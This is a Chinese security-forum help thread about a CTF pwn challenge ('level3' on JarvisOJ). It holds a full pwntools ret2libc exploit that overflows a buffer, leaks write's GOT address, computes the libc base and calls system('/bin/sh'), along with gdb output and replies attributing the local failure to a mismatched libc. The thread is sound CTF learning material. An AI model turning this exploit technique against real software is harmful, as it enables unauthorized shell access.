首页
社区
课程
招聘
[求助]一道ctf题为什么可以打远程,打本地就失败了
2018-12-12 16:52 8991

[求助]一道ctf题为什么可以打远程,打本地就失败了

2018-12-12 16:52
8991
这是我的exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *

context.terminal = ['terminator','-x','sh','-c']
elf=ELF('./level3')
r=process('level3')
#r=remote("pwn2.jarvisoj.com","9879")
pwnlib.gdb.attach(r)

write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.symbols['main']
payload=flat(['a'*140,write_plt,main,1,write_got,4])
r.recvuntil("Input:\n")
r.sendline(payload)
write_addr = u32(r.recv(4))

libc = ELF('./libc-2.19.so')
base_addr = write_addr - libc.symbols['write']
sys_addr=base_addr+libc.symbols['system']
binsh_addr=base_addr+libc.search('/bin/sh').next()
payload=flat(['a'*140,sys_addr,'a'*4,binsh_addr])
r.recvuntil("Input:\n")
r.sendline(payload)
r.interactive()

远程可以拿到flag但在本地打就会失败,用gdb调试会发现程序不知道为什么跳到了 __printf_fp_ l,这个位置应该是跳到system才对
EAX  0x99
 EBX  0x0
 ECX  0xfffa9d00 ◂— 0x61616161 ('aaaa')
 EDX  0x100
 EDI  0x0
 ESI  0xf7f33000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
 EBP  0x61616161 ('aaaa')
 ESP  0xfffa9d8c —▸ 0xf7da70b0 (__printf_fp_l+736) ◂— dec    dword ptr [ebx + 0xd0bb]
 EIP  0x8048483 (vulnerable_function+56) ◂— ret    
────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────
   0x8048477  <vulnerable_function+44>    push   0
   0x8048479  <vulnerable_function+46>    call   read@plt <0x8048310>
 
   0x804847e  <vulnerable_function+51>    add    esp, 0x10
   0x8048481  <vulnerable_function+54>    nop    
   0x8048482  <vulnerable_function+55>    leave  
 ► 0x8048483  <vulnerable_function+56>    ret             <0xf7da70b0; __printf_fp_l+736>
    ↓
   0xf7da70b0 <__printf_fp_l+736>         dec    dword ptr [ebx + 0xd0bb]
   0xf7da70b6 <__printf_fp_l+742>         add    byte ptr [ebp + 0x6cbd89ff], al

─────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ esp  0xfffa9d8c —▸ 0xf7da70b0 (__printf_fp_l+736) ◂— dec    dword ptr [ebx + 0xd0bb]
01:0004│      0xfffa9d90 ◂— 0x61616161 ('aaaa')
02:0008│      0xfffa9d94 —▸ 0xf7ec75ec (translit_to_tbl+14636) ◂— add    byte ptr [eax], al
03:000c│      0xfffa9d98 ◂— 0x6161610a ('\naaa')
04:0010│      0xfffa9d9c ◂— 0x1
05:0014│      0xfffa9da0 —▸ 0x8048484 (main) ◂— lea    ecx, [esp + 4]
06:0018│      0xfffa9da4 ◂— 0x1
07:001c│      0xfffa9da8 —▸ 0x804a018 (write@got.plt) —▸ 0xf7e41d80 (write) ◂— push   esi
───────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────
 ► f 0  8048483 vulnerable_function+56
   f 1 f7da70b0 __printf_fp_l+736
gdb-peda$ 



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (6)
雪    币: 763
活跃值: (288)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
pwnda 2 2018-12-12 20:35
2
0
本地libc和给出的libc-2.19.so不一样,导致system那个函数偏移不一样吧。libc = ELF('./libc-2.19.so') 改成libc = ELF('/lib/i386-linux-gnu/libc.so.6')试试?
雪    币: 1421
活跃值: (162)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tearorca 2018-12-13 19:24
3
0
pwnda 本地libc和给出的libc-2.19.so不一样,导致system那个函数偏移不一样吧。libc = ELF('./libc-2.19.so') 改成libc = ELF('/lib/i386-li ...
可以了,谢谢
雪    币: 1421
活跃值: (162)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tearorca 2018-12-13 20:24
4
0


最后于 2018-12-13 20:26 被tearorca编辑 ,原因:
雪    币: 1421
活跃值: (162)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tearorca 2018-12-13 20:26
5
0
pwnda 本地libc和给出的libc-2.19.so不一样,导致system那个函数偏移不一样吧。libc = ELF('./libc-2.19.so') 改成libc = ELF('/lib/i386-li ...
大佬,我还想问下,这个用libc泄露地址的函数是不是就用write或者puts?还有其他可以用的吗?
雪    币: 763
活跃值: (288)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
pwnda 2 2018-12-14 11:06
6
0
一滴泪 大佬,我还想问下,这个用libc泄露地址的函数是不是就用write或者puts?还有其他可以用的吗?
因题而异,还是得看题目功能,大部分还是用打印功能函数泄露的,其他的爆破泄露或者其他方法不一定通用。
雪    币: 1421
活跃值: (162)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tearorca 2018-12-14 23:04
7
0
pwnda 因题而异,还是得看题目功能,大部分还是用打印功能函数泄露的,其他的爆破泄露或者其他方法不一定通用。
明白了,谢谢
游客
登录 | 注册 方可回帖
返回